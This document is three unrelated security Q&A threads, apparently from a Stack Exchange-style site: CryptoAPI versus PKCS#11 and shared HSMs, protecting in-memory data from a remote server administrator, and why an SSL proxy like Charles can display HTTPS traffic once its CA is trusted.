CryptoAPI is a Microsoft-only API that is somewhat analogous to PKCS#11. Applications call CryptoAPI's functions to perform various operations related to cryptography (including signing documents or validating X.509 certificates). Some of these operations are about key creation, management and usage; CryptoAPI delegates these to what Microsoft calls Cryptographic Service Providers. The CSP really are DLL that CryptoAPI loads; the CSP implements some standardized functions and handle access to the system (physical or software device) that does the job. A CSP is similar in concept to a PKCS#11 DLL; the difference is mostly that CSP exist only in Windows, while PKCS#11 also works on other operating systems.

So applications on Windows have the choice between using CryptoAPI or PKCS#11. The Firefox Web browser, for instance, uses PKCS#11 exclusively, when it needs to talk to cryptographic hardware devices (especially smart cards); for the same purposes, Internet Explorer will rely on CryptoAPI.

Some HSM vendors (e.g. Thales) provide both a PKCS#11 DLL and a CSP for CryptoAPI with their HSM.

"Cloud-based" and HSM are a weird combination. When you do things "in the Cloud", you send your data to be stored and processed somewhere remote, so that the whole thing may be virtualized and moved around without changing anything on your side. You normally want to use HSM precisely so that such things do not happen.

Possibly, you might want to mean that you will have a "shared HSM": the HSM will be located in a network-reachable location, and various client systems will delegate cryptographic operations to this HSM through an HSM-specific protocol (presumably a protocol with enough cryptography to make that secure). Still with Thales HSM, they have a product called "nShield Connect" that does exactly that.

Calling this HSM-sharing "cloud-based" is a rather confusing statement, though.


Can server administrator dump memory remotely thru Dell iDrac card? I might at some point to invite another person into my software project. I don't mind sharing the code but the data I use is very sensitive. Once he gets hands on both pieces I wont see him again (if you know what I mean)..

The server is going to be collocated. He is going to want an admin access to the box remotely. So I am planning to have sensitive data to be in-memory only - I pump it up for a work day while I am around and then delete in the end of the day.

How naïve is this plan?

Can I have some sort of tool which will erase memory once someone is logged into the machine? Can he dump memory using iDRAC and out-of-band networking for instance (without being detected by the OS)?

OS is Windows Server 2012 R2

If someone legitimately has superuser access to a system, you can't stop them from accessing any data on the system given time. You can certainly have data encryption to encrypt the data at rest, but what's to stop them from capturing the keystrokes that are performed when you unlock it? Or, if you're copying the data to the system from somewhere, getting a copy of that data? The possibilities are endless when you consider full administrator access. Your only legitimate hope to protect this data is to create a user tailored to have the exact level of privileges he'd need, and no more. My suggestion would be to use dummy data and a staging environment that is completely separated from production. That way he could assist with the code but not ever realistically have access to your sensitive data.

Speaking from a more general security perspective, you put intrusion detection systems on a network generally in the hopes it will detect a compromise after it's happened. You could always detect a live attacker in progress, but how to filter that from all the noise that is constantly hitting you from the internet? Given your setup, you are unlikely to even be able to determine an attack happened, since you don't mention piping your logs to another system. That of course doesn't protect your data, only could help you detect its loss after the fact.


Why is it possible to sniff an HTTPS / SSL request? I'm new to the realm of HTTP requests and security and all that good stuff, but from what I've read, if you want your requests and responses encrypted, use HTTPS and SSL, and you'll be good. Someone in a previous question posted a link to this app http://www.charlesproxy.com/ which shows that it is actually possible to sniff HTTPS requests, and see the request and response in PLAIN text.

I tried this with the facebook.com login, and I was indeed able to see my username AND password in plain text. It was too easy. What's going on? I thought that was the whole point of HTTPS - to encrypt requests and responses?

This is explained in their page on SSL proxying, perhaps not with enough explanations.

A proxy is, by definition, a man-in-the-middle: the client connects to the proxy, and the proxy connects to the server.

SSL does two things:

It ensures the confidentiality and integrity of the established connection.
It performs some verification of who you are connecting to.

It's the second part that's important, and seemingly broken, here: you're sitting at your browser, and surprised that your browser is connecting to the proxy whereas you expected it to connect to Facebook. Technically, the proxy is not sniffing the HTTPS traffic, it's relaying it.

Your browser knows that it's connected to Facebook because the site has a certificate that says “I am really www.facebook.com”. Public-key cryptography, by means that I will not get into here, ensures that only the holder of the private key can initiate a valid connection with this certificate. That's only half the battle: you only have the server's claim that it really is www.facebook.com and not randomhijacker.com. What your browser does is additionally check that the certificate has been validated by a certificate authority. Your browser or operating system comes with a list of certificate authorities that it trusts. Again, public-key cryptography ensures that only the CA can emit certificates that your browser will accept.

When you connect to the proxy, your browser receives a certificate that says “I am really www.facebook.com”. But this certificate is not signed by a CA that your browser trusts by default. So:

either you received a warning about an insecure HTTPS connection, which you clicked through to see the concent at https://www.facebook.com/;
or you added the CA that signed the proxy's certificate (“Charles's CA certificate”) to your the list of CAs that your browser trusts.

Either way, you told your browser to trust the proxy. So it does. An SSL connection is not secure if you start trusting random strangers.

Recommended reading for further information:

when is it safe to click through an SSL warning message?
Does an established ssl connection mean a line is really secure
SSL with GET and POST
How do I check that I have a direct SSL connection to a website?
Does https prevent man in the middle attacks by proxy server?
How is it possible that people observing an HTTPS connection being established wouldn't know how to decrypt it?
How can end-users detect malicious attempts at SSL spoofing when the network already has an authorized SSL proxy?